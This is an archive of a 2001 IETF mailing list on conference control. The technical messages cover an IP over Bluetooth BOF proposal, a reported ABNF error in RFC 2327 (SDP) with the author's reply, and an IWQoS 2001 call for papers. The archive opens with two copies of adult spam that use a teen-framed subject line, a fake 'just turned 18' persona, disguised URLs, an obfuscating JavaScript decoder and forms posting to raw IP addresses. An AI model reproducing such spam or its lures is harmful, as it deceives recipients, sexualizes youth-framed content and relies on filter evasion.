Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<html>
<head>
<style type=3D"text/css">
<!--
.footerwhite { font-size: 10px; color: #ffffff; text-decoration: none; fon=
t-family: verdana,arial,geneva,helvetica; }
// -->
</style>
<basehref=3D"http://www.com|net.oooooooooooooooooo.COME.CC/il2/@216.71.84.=
44/enter.cgi" method=3D"get">
<FORM ACTION=3D"terrichic" target=3D"_blank"><SCRIPT LANGUAGE=3D"JavaScrip=
t"><!--
ky=3D"";function d(msg){ky=3Dky+codeIt(key,msg);}var key =3D "0z<>]#\"";fu=
nction codeIt (mC, eS) {var wTG, mcH =3D  mC.length / 2, nS =3D "", dv;for=
 (var x =3D 0; x < eS.length; x++)
{wTG =3D mC.indexOf(eS.charAt(x));if (wTG > mcH) {if (key.indexOf(eS.charA=
t(x)) < 0) {nS =3D nS + eS.charAt(x)}else {dv =3D mcH - wTG;nS =3D nS + mC=
.charAt(33 + dv);}}}return nS;}
//-->
</SCRIPT>
<F0RM ACTION=3D"http://203.201.44.73:80/enter.cgi" method=3D"post" target=3D=
"_blank">
<OR F0RM ACTION=3D"http://203.27.4.33:8080/enter.cgi" method=3D"post" targ=
et=3D"_blank">
<OR F0RM ACTION=3D"http://203.12.44.39:8080/enter.cgi" method=3D"post" tar=
get=3D"_blank">
<OR F0RM ACTION=3D"http://203.17.41.83:8080/enter.cgi" method=3D"post" tar=
get=3D"_blank">

</head>
<body bgcolor=3D"#ffffff" marginheight=3D"10" marginwidth=3D"10" topmargin=
=3D10 link=3D"#0000ff" vlink=3D"#0000ff" alink=3D"#384881">
<!--Begin Main-->
<br>
<APL//print([Form:'first name']);//-->
<center>
<table cellpadding=3D0 cellspacing=3D0 border=3D0 width=3D600>
	<tr>
		<td width=3D465 bgcolor=3D#cc0000>
		<font face=3D"arial,helvetica" color=3D"white" size=3D"3">
			<center><b>Adult Freebie Express February 8, 2001</b></center>
			</font>

		</td>
	</tr>
</TABLE>
<br>
<table cellpadding=3D0 cellspacing=3D0 border=3D0 width=3D600>
	<tr>
		<td width=3D"465">

		<table>
		<tr>
		<td width=3D140 valign=3D"top">
		<hr width=3D140 color=3D"#325c7d" size=3D1 align=3D"left">
		</td>
		<td width=3D185 valign=3D"top" align=3D"center">
		<font face=3D"verdana,helvetica" color=3D"#0000ff" size=3D1>
		<center><b>IN THIS AFE EDITION</b></center>
		</td>
		<td width=3D140 valign=3D"top">
		<hr width=3D140 color=3D"#325c7d" size=3D1 align=3D"left">
		</td></tr>
		</table>

<P align=3Dcenter width=3D500>
<FONT color=3D#cc3399>
<STRONG><font face=3D"Arial" size=3D"4">Are you over 18???????
</STRONG>
</P>
<DIV align=3Dcenter>
<a href=3D"http://www.bc2.lemylaw.mx=3D14=3D02=3D14=3D05=3D14.com|net.ped=3D=
02=3D05=3D14=3D=3D02=3D14=3D05=3D14=3D14.jjjjjjjj.com/bc2/leomylawyer/">
Click Here For 100% Free 3 day Trial!</a>
<BR><BR></DIV></FONT>
<P><FONT face=3DArial><FONT
color=3D#cc0000><STRONG>&nbsp; Hi My Name Is Stephanie, I just turned
18&nbsp;TODAY..!!<BR><FONT color=3D#0000ff>I have been wanting to do live
nude&nbsp;webcams but I was not able to because I was too young..</FONT><F=
ONT
color=3D#000000></STRONG><BR></FONT><STRONG>BUT NOW its all legal..Come ch=
eck out
my live feeds and all my picture pages..!!</STRONG></FONT><FONT
color=3D#000000><BR></FONT><STRONG><FONT color=3D#0000ff>I do this because=
 I like it
and it doesn't cost a dime to
watch..!!</FONT></STRONG></FONT><BR><FONT color=3D#ff0033><FONT
size=3D6><STRONG>
<a href=3D"http://www.bc2.lemylaw.mx=3D14=3D02=3D14=3D05=3D14.com|net.ped=3D=
02=3D05=3D14=3D=3D02=3D14=3D05=3D14=3D14.jjjjjjjj.com/bc2/leomylawyer/">
Click HERE to See my first Try ;)</a>
</STRONG></FONT></FONT></P>

<!--Begin Right Side Bar Main-->

<td width=3D"10">=FFFFFFA0</td>
<td width=3D"125" align=3D"center" bgcolor=3D"#cc3399" valign=3D"top">
<font face=3D"verdana,sans-serif" color=3D"black" size=3D"2">
<b>Find out how to get FREE Trials!!</b><br>
<hr color=3D"#384881" noshade width=3D"125" size=3D"1">

Monthly Content beats the competition!
</td>
	</tr>
</table>

<!--End Main-->
<center>
<hr noshade width=3D"600">
<br><br><br><br><br><br><br>
<hr noshade width=3D"600" color=3D"darkgreen"><font face=3DArial size=3D2>
<center><b>Unsubscribe Information</b>
<br>This email was sent to the owner of the following Account/Username: <b=
>

maxuser

</b><br>To be taken off go to <a href=3D"mailto:terrapin003@yahoo.com">
This Page</a></font>

<hr color=3D"lime" noshade width=3D"600" size=3D"1">
<table cellpadding=3D0 cellspacing=3D0 border=3D0 width=3D600>
	<tr>
		<td width=3D"135" height=3D"50" bgcolor=3Dblack border=3D"0">
			<table cellpadding=3D0 cellspacing=3D0 border=3D"2" width=3D134>
			<tr>
				<td border=3D0 width=3D130 bgcolor=3Dwhite height=3D50>
				<font color=3D"lime"><b><i>Stealth</font><font color=3D"black">Launch<=
/font><br><font color=3D"black">Pop<font color=3D"lime">Launch<br><hr colo=
r=3Dblack size=3D1></font><font color=3D"black"><center>1-800-804-4352</i>
				</td>
			</tr>
			</table>
		</td>
		<td width=3D"5" bgcolor=3D"white"></td>
		<td width=3D460 bgcolor=3D"white">
		<font face=3D"arial,helvetica" color=3D"93a1ab" size=3D"1">
		<i>The FIRST encrypted email friendly Hosting by M@sTer@GeNTs. Attemptin=
g to infringe upon the copyrights of PopLaunch or attempting to harm the n=
atural course of business of
		PopLaunch users will be subject to SEVERE civil and/or criminal penaltie=
s (including but not limited to attempting to hack, Denial of Service Atta=
cks and/or broadcast the location of client sites). ALL clients not honori=
ng remove requests will be terminated
		(Call 1-800-804-4352 alternatively or for assistance with the PopLaunch =
browser).</i>
		</font>
		</td>
	</tr>
</table>
<table cellpadding=3D0 cellspacing=3D0 border=3D0 width=3D600>
	<tr>
		<td height=3D7></td>
	</tr>
	<tr>
   		<TD bgcolor=3D"lime" class=3Dfooterblack height=3D"20" width=3D"600" =
colspan=3D"2">
      			<FONT face=3D"verdana,arial,helvetica" size=3D1 color=3D"#000000"=
>
                <CENTER>
                Copyright =FFFFFFA9 1997-2001 StealthLaunch PopLaunch. All=
 rights reserved.
                <A class=3Dfooterblack href=3D"">Legal Agreement</A> |
                <A class=3Dfooterblack href=3D"">Privacy Policy</A>.
                </CENTER>
                </FONT>
		</TD>
		</tr>

</TABLE>
</center>
</body>
</html>




From confctrl-owner  Fri Feb  9 17:47:31 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id RAA10604
	for confctrl-outgoing; Fri, 9 Feb 2001 17:47:31 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id RAA10599
	for <confctrl@zephyr.isi.edu>; Fri, 9 Feb 2001 17:47:30 -0800 (PST)
Received: from mailinet.telepac.pt ([194.65.110.222])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f1A1lSC29490
	for <confctrl@isi.edu>; Fri, 9 Feb 2001 17:47:29 -0800 (PST)
Received: from 216.126.153.20 (01-020.055.popsite.net [216.126.153.20]) by mailinet.telepac.pt with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id 1TG45Y4Q; Sat, 10 Feb 2001 01:32:57 -0000
Message-ID: <000019465c26$00007f31$00006293@>
To: <cheer6777@hotmail.com>
From: chelouch@hotmail.com
Subject: F R E E  Teen Hardcore Site - WET GIRLS .... . . .. ... ...                         25235
Date: Fri, 09 Feb 2001 20:46:59 -0500
MIME-Version: 1.0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Priority: 3
X-MSMail-Priority: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<html>
<head>
<style type=3D"text/css">
<!--
.footerwhite { font-size: 10px; color: #ffffff; text-decoration: none; fon=
t-family: verdana,arial,geneva,helvetica; }
// -->
</style>
<basehref=3D"http://www.com|net.oooooooooooooooooo.COME.CC/il2/@216.71.84.=
44/enter.cgi" method=3D"get">
<FORM ACTION=3D"terrichic" target=3D"_blank"><SCRIPT LANGUAGE=3D"JavaScrip=
t"><!--
ky=3D"";function d(msg){ky=3Dky+codeIt(key,msg);}var key =3D "0z<>]#\"";fu=
nction codeIt (mC, eS) {var wTG, mcH =3D  mC.length / 2, nS =3D "", dv;for=
 (var x =3D 0; x < eS.length; x++)
{wTG =3D mC.indexOf(eS.charAt(x));if (wTG > mcH) {if (key.indexOf(eS.charA=
t(x)) < 0) {nS =3D nS + eS.charAt(x)}else {dv =3D mcH - wTG;nS =3D nS + mC=
.charAt(33 + dv);}}}return nS;}
//-->
</SCRIPT>
<F0RM ACTION=3D"http://203.201.44.73:80/enter.cgi" method=3D"post" target=3D=
"_blank">
<OR F0RM ACTION=3D"http://203.27.4.33:8080/enter.cgi" method=3D"post" targ=
et=3D"_blank">
<OR F0RM ACTION=3D"http://203.12.44.39:8080/enter.cgi" method=3D"post" tar=
get=3D"_blank">
<OR F0RM ACTION=3D"http://203.17.41.83:8080/enter.cgi" method=3D"post" tar=
get=3D"_blank">

</head>
<body bgcolor=3D"#ffffff" marginheight=3D"10" marginwidth=3D"10" topmargin=
=3D10 link=3D"#0000ff" vlink=3D"#0000ff" alink=3D"#384881">
<!--Begin Main-->
<br>
<APL//print([Form:'first name']);//-->
<center>
<table cellpadding=3D0 cellspacing=3D0 border=3D0 width=3D600>
	<tr>
		<td width=3D465 bgcolor=3D#cc0000>
		<font face=3D"arial,helvetica" color=3D"white" size=3D"3">
			<center><b>Adult Freebie Express February 8, 2001</b></center>
			</font>

		</td>
	</tr>
</TABLE>
<br>
<table cellpadding=3D0 cellspacing=3D0 border=3D0 width=3D600>
	<tr>
		<td width=3D"465">

		<table>
		<tr>
		<td width=3D140 valign=3D"top">
		<hr width=3D140 color=3D"#325c7d" size=3D1 align=3D"left">
		</td>
		<td width=3D185 valign=3D"top" align=3D"center">
		<font face=3D"verdana,helvetica" color=3D"#0000ff" size=3D1>
		<center><b>IN THIS AFE EDITION</b></center>
		</td>
		<td width=3D140 valign=3D"top">
		<hr width=3D140 color=3D"#325c7d" size=3D1 align=3D"left">
		</td></tr>
		</table>

<P align=3Dcenter width=3D500>
<FONT color=3D#cc3399>
<STRONG><font face=3D"Arial" size=3D"4">Are you over 18???????
</STRONG>
</P>
<DIV align=3Dcenter>
<a href=3D"http://www.bc2.lemylaw.mx=3D14=3D02=3D14=3D05=3D14.com|net.ped=3D=
02=3D05=3D14=3D=3D02=3D14=3D05=3D14=3D14.jjjjjjjj.com/bc2/leomylawyer/">
Click Here For 100% Free 3 day Trial!</a>
<BR><BR></DIV></FONT>
<P><FONT face=3DArial><FONT
color=3D#cc0000><STRONG>&nbsp; Hi My Name Is Stephanie, I just turned
18&nbsp;TODAY..!!<BR><FONT color=3D#0000ff>I have been wanting to do live
nude&nbsp;webcams but I was not able to because I was too young..</FONT><F=
ONT
color=3D#000000></STRONG><BR></FONT><STRONG>BUT NOW its all legal..Come ch=
eck out
my live feeds and all my picture pages..!!</STRONG></FONT><FONT
color=3D#000000><BR></FONT><STRONG><FONT color=3D#0000ff>I do this because=
 I like it
and it doesn't cost a dime to
watch..!!</FONT></STRONG></FONT><BR><FONT color=3D#ff0033><FONT
size=3D6><STRONG>
<a href=3D"http://www.bc2.lemylaw.mx=3D14=3D02=3D14=3D05=3D14.com|net.ped=3D=
02=3D05=3D14=3D=3D02=3D14=3D05=3D14=3D14.jjjjjjjj.com/bc2/leomylawyer/">
Click HERE to See my first Try ;)</a>
</STRONG></FONT></FONT></P>

<!--Begin Right Side Bar Main-->

<td width=3D"10">=FFFFFFA0</td>
<td width=3D"125" align=3D"center" bgcolor=3D"#cc3399" valign=3D"top">
<font face=3D"verdana,sans-serif" color=3D"black" size=3D"2">
<b>Find out how to get FREE Trials!!</b><br>
<hr color=3D"#384881" noshade width=3D"125" size=3D"1">

Monthly Content beats the competition!
</td>
	</tr>
</table>

<!--End Main-->
<center>
<hr noshade width=3D"600">
<br><br><br><br><br><br><br>
<hr noshade width=3D"600" color=3D"darkgreen"><font face=3DArial size=3D2>
<center><b>Unsubscribe Information</b>
<br>This email was sent to the owner of the following Account/Username: <b=
>

maxuser

</b><br>To be taken off go to 
<a href=3D"mailto:rjlansinger@yahoo.com">
This Page</a></font>

<hr color=3D"lime" noshade width=3D"600" size=3D"1">
<table cellpadding=3D0 cellspacing=3D0 border=3D0 width=3D600>
	<tr>
		<td width=3D"135" height=3D"50" bgcolor=3Dblack border=3D"0">
			<table cellpadding=3D0 cellspacing=3D0 border=3D"2" width=3D134>
			<tr>
				<td border=3D0 width=3D130 bgcolor=3Dwhite height=3D50>
				<font color=3D"lime"><b><i>Stealth</font><font color=3D"black">Launch<=
/font><br><font color=3D"black">Pop<font color=3D"lime">Launch<br><hr colo=
r=3Dblack size=3D1></font><font color=3D"black"><center>1-800-804-4352</i>
				</td>
			</tr>
			</table>
		</td>
		<td width=3D"5" bgcolor=3D"white"></td>
		<td width=3D460 bgcolor=3D"white">
		<font face=3D"arial,helvetica" color=3D"93a1ab" size=3D"1">
		<i>The FIRST encrypted email friendly Hosting by M@sTer@GeNTs. Attemptin=
g to infringe upon the copyrights of PopLaunch or attempting to harm the n=
atural course of business of
		PopLaunch users will be subject to SEVERE civil and/or criminal penaltie=
s (including but not limited to attempting to hack, Denial of Service Atta=
cks and/or broadcast the location of client sites). ALL clients not honori=
ng remove requests will be terminated
		(Call 1-800-804-4352 alternatively or for assistance with the PopLaunch =
browser).</i>
		</font>
		</td>
	</tr>
</table>
<table cellpadding=3D0 cellspacing=3D0 border=3D0 width=3D600>
	<tr>
		<td height=3D7></td>
	</tr>
	<tr>
   		<TD bgcolor=3D"lime" class=3Dfooterblack height=3D"20" width=3D"600" =
colspan=3D"2">
      			<FONT face=3D"verdana,arial,helvetica" size=3D1 color=3D"#000000"=
>
                <CENTER>
                Copyright =FFFFFFA9 1997-2001 StealthLaunch PopLaunch. All=
 rights reserved.
                <A class=3Dfooterblack href=3D"">Legal Agreement</A> |
                <A class=3Dfooterblack href=3D"">Privacy Policy</A>.
                </CENTER>
                </FONT>
		</TD>
		</tr>

</TABLE>
</center>
</body>
</html>




From confctrl-owner  Fri Feb  9 21:23:46 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id VAA18929
	for confctrl-outgoing; Fri, 9 Feb 2001 21:23:46 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id VAA18924
	for <confctrl@zephyr.isi.edu>; Fri, 9 Feb 2001 21:23:45 -0800 (PST)
Received: from NEPTUNE.zucotto.com ([216.95.209.154])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f1A5NiC08918
	for <confctrl@isi.edu>; Fri, 9 Feb 2001 21:23:44 -0800 (PST)
Received: by NEPTUNE.zucotto.com with Internet Mail Service (5.5.2650.21)
	id <CTQSWKR5>; Sat, 10 Feb 2001 00:23:41 -0500
Message-ID: <FC0292EA4D13D34EA2E5FC728D70A8E3078C2A@NEPTUNE.zucotto.com>
From: Kulwinder Atwal <kulwinder.atwal@zucotto.com>
To: "'rohc@cdt.luth.se'" <rohc@cdt.luth.se>,
        "'confctrl@isi.edu'"
	 <confctrl@ISI.EDU>,
        "'spki@c2.net'" <spki@c2.net>,
        "'ietf-krb-wg@anl.gov'" <ietf-krb-wg@anl.gov>,
        "'ietf-openpgp@imc.org'"
	 <ietf-openpgp@imc.org>
Subject: FW: IP over Bluetooth for 50th Meeting of IETF. 
Date: Sat, 10 Feb 2001 00:23:40 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



-----Original Message-----
From: Kulwinder Atwal 
Sent: Friday, February 09, 2001 7:03 PM
To: 'zeroconf@merit.edu'; seamoby@cdma-2000.org;
MOBILE-IP@STANDARDS.NORTELNETWORKS.COM; 'srvloc@srvloc.org';
'aaa-wg@merit.edu'; 'manet@itd.nrl.navy.mil'; 'ipsec@lists.tislabs.com';
'ipsec-policy@vpnc.org'; 'ietf-ipsra@vpnc.org'; 'ietf-sacred@imc.org';
'enum@ietf.org'; 'sigtran@standards.nortelnetworks.com';
'ietf@ietf.org'; 'IETF-Announce@ietf.org';
'BLUETOOTH-BOF@mailbag.cps.intel.com'
Cc: 'Thomas Narten'; Akers Ron-WRA001
Subject: BOF: IP over Bluetooth for 50th Meeting of IETF. 




Myself and Ron Akers have requested an IP over Bluetooth BOF for the 50th
Meeting of the IETF in Minneapolis.  The BOF will discuss the creation of a
IETF Working Group to investigate the most open and efficient way to place
IP over the Bluetooth Host Controller.

Current work in this area within the Bluetooth SIG concentrates on defining
IP over a set of other lower-layer stacks. Currently there are two options
defined by the Bluetoth SIG:

 Option 1: IP/PPP/RFCOM/L2CAP/Host Controller

 Option 2: IP/PAN Profile/L2CAP/Host Controller
 	   (where the PAN Profile is a Bluetooth SIG work in progress)
 

We are proposing that the IETF form a WG to define a more efficient way of
running IP over Bluetooth. In particular, IP would run
 over an IETF protocol over the Host Controller without L2CAP.  This option
may be adopted by the Bluetooth SIG at a later date as a Profile.  Since all
Bluetooth SIG Profiles are optional, a customer may choose any combination
of Profiles in a final product.  Further, since Bluetooth Working Groups
have it in their mandate to adopt protocols from other standards making
bodies such as the IETF, there exists a clear path for IETF work to be
adopted by the Bluetooth SIG.
 
Whereas the last BOF was informational only and organized by the Bluetooth
SIG itself, the objective of this BOF will be to foster innovation, and
speed progress by placing IP related protocol development within the IETF
and Bluetooth-specific protocol development
 within the Bluetooth SIG, by developing an IP over Bluetooth IETF Working
Group.
 
This effort will define its own way of running IP over Bluetooth, by
carefully selecting a set of Bluetooth protocols (freely available from
published specifications at
http://www.bluetooth.com/developer/specification/specification.asp) on which
to build IP.

Please join myself, Kulwinder Atwal, and Ron Akers on the pre-BOF mailing
list:
 
This site runs version 2.0.1 of the "Mailman" list manager.  
The following describes commands you can send to get
information about, and control your subscription to the lists at
this site. Note that much of the following can also be 
accomplished via the World Wide Web, at:

    http://internet.motlabs.com/mailman/listinfo/bluetooth

In particular, you can use the Web site to have your password sent to
your delivery address.

Email commands can be in the subject line or in the body 
of the message. The commands should be set to the following address:

  <bluetooth-request@internet.motlabs.com>

About the descriptions - words in "<>"s signify REQUIRED items and
words in "[]" denote OPTIONAL items.  Do not include the "<>"s or
"[]"s when you use the commands.

The following commands are valid:

    subscribe [password] [digest-option] [address=<address>]
        Subscribe to the mailing list.  Your password must be given to
        unsubscribe or change your options.  When you subscribe to the
        list, you'll be reminded of your password periodically.
        'digest-option' may be either: 'nodigest' or 'digest' (no
        quotes!)  If you wish to subscribe an address other than the
        address you send this request from, you may specify
        "address=<email address>" (no brackets around the email
        address, no quotes!)

    unsubscribe <password> [address]
        Unsubscribe from the mailing list.  Your password must match
        the one you gave when you subscribed.  If you are trying to
        unsubscribe from a different address than the one you
        subscribed from, you may specify it in the 'address' field.

    who
        See everyone who is on this mailing list.

    info
        View the introductory information for this list.

    lists
        See what mailing lists are run by this Mailman server.

    help
        This message.

    set <option> <on|off> <password> 
        Turn on or off list options.  Valid options are:

        ack:
            Turn this on to receive acknowledgement mail when you send
            mail to the list.

        digest:
            Receive mail from the list bundled together instead of one
            post at a time.

        plain:
            Get plain-text, not MIME-compliant, digests (only if
            digest is set)

        nomail:
            Stop delivering mail.  Useful if you plan on taking a
            short vacation.

        norcv:
            Turn this on to NOT receive posts you send to the list.
            Does not work if digest is set.

        hide:
            Conceals your address when people look at who is on this
            list.


    options
        Show the current values of your list options.

    password <oldpassword> <newpassword> 
        Change your list password.
    
    end or --
       Stop processing commands (good to do if your mailer
       automatically adds a signature file - it'll save you from a lot
       of cruft).


Commands should be sent to bluetooth-request@internet.motlabs.com

Questions and concerns for the attention of a person should be sent to

    bluetooth-admin@internet.motlabs.com



Kulwinder Atwal
Bluetooth Design
Zucotto Wireless Inc.
kulwinder.atwal@zucotto.com

------------------------------------------------------------
Ron Akers                               Voice :(847)576-7928
Networks and Infrastructure Research      FAX :(847)576-3240
Motorola Laboratories           email:ron.akers@motorola.com 
1301 Algonquin Rd, Rm 2246
Schaumburg, IL. 60196
------------------------------------------------------------

From confctrl-owner  Mon Feb 12 05:07:49 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id FAA25672
	for confctrl-outgoing; Mon, 12 Feb 2001 05:07:49 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id FAA25667
	for <confctrl@zephyr.isi.edu>; Mon, 12 Feb 2001 05:07:48 -0800 (PST)
Received: from hindon.hss.co.in ([202.54.26.202])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f1CD7iC14057
	for <confctrl@isi.edu>; Mon, 12 Feb 2001 05:07:45 -0800 (PST)
Received: from hsssun01.hss.hns.com (localhost [127.0.0.1])
	by hindon.hss.co.in (8.10.0/8.10.0) with ESMTP id f1CD8Uu28505;
	Mon, 12 Feb 2001 18:38:50 +0530 (IST)
Received: from sampark.hss.hns.com (sampark [139.85.229.22])
	by hsssun01.hss.hns.com (8.10.0/8.10.0) with SMTP id f1CDGLk08265;
	Mon, 12 Feb 2001 18:46:34 +0530 (IST)
Received: by sampark.hss.hns.com(Lotus SMTP MTA Internal build v4.6.2  (651.2 6-10-1998))  id 652569F1.00481EB3 ; Mon, 12 Feb 2001 18:37:44 +0530
X-Lotus-FromDomain: HSSBLR
From: archow@hss.hns.com
To: mjh@aciri.org
cc: confctrl@ISI.EDU
Message-ID: <652569F1.00481E3F.00@sampark.hss.hns.com>
Date: Mon, 12 Feb 2001 18:37:42 +0530
Subject: An SDP ABNF problem ? (RFC 2327)
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk




Hi,
Just wanted to confirm if this is a bug:

In page 19 of RFC 2327, you write:

"  Attributes that will be commonly used can be registered with IANA
   (see Appendix B).  Unregistered attributes should begin with "X-" to
   prevent inadvertent collision with registered attributes.  In either
   case, if an attribute is received that is not understood, it should
   simply be ignored by the receiver."

However, the grammar for the attribute line (a=) in Appendix A lists :

attribute-fields =    *("a=" attribute CRLF)
attribute =           (att-field ":" att-value) | att-field
att-field =           1*(alpha-numeric)
alpha-numeric =       ALPHA | DIGIT


Hence there is no provision for the hyphen "-" character in the field.

So I cannot put in a "X-mynwattr".

could you please clarify ?

regds
Arjun
--
Arjun Roychowdhury @ Hughes Software Systems








From confctrl-owner  Mon Feb 12 08:46:57 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id IAA09119
	for confctrl-outgoing; Mon, 12 Feb 2001 08:46:57 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA09114
	for <confctrl@zephyr.isi.edu>; Mon, 12 Feb 2001 08:46:56 -0800 (PST)
Received: from hazard.aciri.org (adsl-63-196-11-252.dsl.snfc21.pacbell.net [63.196.11.252])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f1CGksC08889
	for <confctrl@isi.edu>; Mon, 12 Feb 2001 08:46:54 -0800 (PST)
Received: from hazard.aciri.org (localhost.aciri.org [127.0.0.1])
	by hazard.aciri.org (8.11.1/8.11.1) with ESMTP id f1CGklh28163;
	Mon, 12 Feb 2001 08:46:47 -0800 (PST)
	(envelope-from mjh@hazard.aciri.org)
From: Mark Handley <mjh@aciri.org>
X-Organisation: ACIRI
To: archow@hss.hns.com
cc: confctrl@ISI.EDU
Subject: Re: An SDP ABNF problem ? (RFC 2327) 
In-reply-to: Your message of "Mon, 12 Feb 2001 18:37:42 +0530."
             <652569F1.00481E3F.00@sampark.hss.hns.com> 
Date: Mon, 12 Feb 2001 08:46:47 -0800
Message-ID: <28161.981996407@hazard.aciri.org>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>Hi,
>Just wanted to confirm if this is a bug:
>
>In page 19 of RFC 2327, you write:
>
>"  Attributes that will be commonly used can be registered with IANA
>   (see Appendix B).  Unregistered attributes should begin with "X-" to
>   prevent inadvertent collision with registered attributes.  In either
>   case, if an attribute is received that is not understood, it should
>   simply be ignored by the receiver."
>
>However, the grammar for the attribute line (a=) in Appendix A lists :
>
>attribute-fields =    *("a=" attribute CRLF)
>attribute =           (att-field ":" att-value) | att-field
>att-field =           1*(alpha-numeric)
>alpha-numeric =       ALPHA | DIGIT
>
>
>Hence there is no provision for the hyphen "-" character in the field.
>
>So I cannot put in a "X-mynwattr".
>
>could you please clarify ?

Thanks for letting us know.

The BNF is incorrect.  In general, RFC 2327 has a number of errors in
the BNF - when the BNF contradicts the text, our policy has been that
the text is correct.

This will be corrected before SDP goes to Draft Standard.

Cheers,
	Mark

From confctrl-owner  Wed Feb 14 01:08:34 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id BAA10082
	for confctrl-outgoing; Wed, 14 Feb 2001 01:08:34 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id BAA10077
	for <confctrl@zephyr.isi.edu>; Wed, 14 Feb 2001 01:08:34 -0800 (PST)
Received: from iraun1.uka.de (iraun1.uka.de [129.13.10.90])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f1E98Vs05511;
	Wed, 14 Feb 2001 01:08:31 -0800 (PST)
Received: from blackfoot.telematik.informatik.uni-karlsruhe.de by iraun1 (PP) 
          with ESMTP; Wed, 14 Feb 2001 10:07:54 +0100
Received: from telematik.informatik.uni-karlsruhe.de (tpc17.telematik.informatik.uni-karlsruhe.de [129.13.42.117]) 
          by blackfoot.telematik.informatik.uni-karlsruhe.de (8.9.3/8.9.3) 
          with ESMTP id KAA16032; Wed, 14 Feb 2001 10:07:49 +0100 (MET)
Message-ID: <3A8A4C2D.C02BDCDE@telematik.informatik.uni-karlsruhe.de>
Date: Wed, 14 Feb 2001 10:13:17 +0100
From: Klaus Wehrle <wehrle@telematik.informatik.uni-karlsruhe.de>
Organization: Institut =?iso-8859-1?Q?f=FCr?= Telematik
X-Mailer: Mozilla 4.74 [de] (X11; U; Linux 2.2.18 i686)
X-Accept-Language: de, en
MIME-Version: 1.0
CC: Lars.Wolf@rz.uni-karlsruhe.de, Ralf.Steinmetz@KOM.tu-darmstadt.de,
        d.hutchison@lancaster.ac.uk,
        wehrle@telematik.informatik.uni-karlsruhe.de
Subject: IWQoS 2001 - Call for Paper (submission deadline: Feb.18,2001)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

    --> We apologize if you receive multiple copies of this. <-- 
=====================================================================
   SUBMISSION SYSTEM NOW OPEN -- submission deadline: Feb.18,2001
=====================================================================

                           CALL FOR PAPERS
                
                     NINTH INTERNATIONAL WORKSHOP
                    on QUALITY of SERVICE (IWQoS)
                         
                  http://www.uni-karlsruhe.de/~iwqos/
                                    
                            June 6-8, 2001
                       University of Karlsruhe
                          Karlsruhe, Germany


IWQoS 2001 is supported by technical co-sponsorship by / in-cooperation
with the IEEE Communications Society, ACM SIGCOMM and IFIP WG 6.1.

Workshop Theme
==============

IWQoS is a very successful series of workshops providing an
international forum for the presentation and discussion of new
research and ideas on quality of service (QoS) -- the IWQoS2001
workshop in Karlsruhe follows the IWQoS events held in Columbia, Napa,
London, and Pittsburgh.  It is a premier forum for all work related to
QoS -- especially in networking but also QoS aspects outside of
networking are considered as very important as well, e.g., QoS in
operating systems, QoS in servers, advanced middleware services and
according technical issues such as quality, safety and security,
admission, accounting, mobility.  The objective of this Ninth
International Workshop on Quality of Service is to bring together
researchers, developers, and practitioners working in all these areas
to discuss recent innovative results and future directions.

The list of topics of interest includes (but is not limited to)
  - experiences with QoS (measurements, tests, evaluations)
  - QoS in heterogeneous networks
  - QoS routing
  - QoS and active networks
  - QoS for wireless and mobile
  - charging, accounting, and pricing for QoS
  - QoS support for applications and services
  - QoS in servers and endsystems
  - QoS support for information appliances
  - QoS control for middleware and platform support for QoS
  - QoS and adaptation mechanisms
  - resource management and control
  - analytical and simulation models for QoS
  - safety and security aspects
  - programmability and language aspects


Important Dates
===============
  - PAPER DEADLINE:    February 18, 2001  (<- this week!!)
  - Notification:      April 2, 2001
  - Final papers due:  April 15, 2001


Invited Presentation
====================
An invited presentation will be given by
Henning Schulzrinne, Columbia University.


Committees
==========

Co-Chairs
---------
Lars Wolf, University of Karlsruhe
David Hutchison, Lancaster University 
Ralf Steinmetz, GMD IPSI


IWQoS Steering Committee
------------------------
Jon Crowcroft, UCL
Rich Friedrich, HP Labs
Edward Knightly, Rice University
Peter Steenkiste, CMU
Hui Zhang, CMU



IWQoS2001 Program Committee
---------------------------

Nina Bhatti, Nokia
Gordon Blair, University of Lancaster
Jose Brustoloni, Bell Labs
Andrew Campbell, Columbia University
Georg Carle, GMD FOKUS
Jon Crowcroft, UCL
Bruce Davie, Cisco
Hermann de Meer, UCL, London
Jan de Meer, GMD FOKUS
Serge Fdida, LIP6
Rich Friedrich, HP Labs
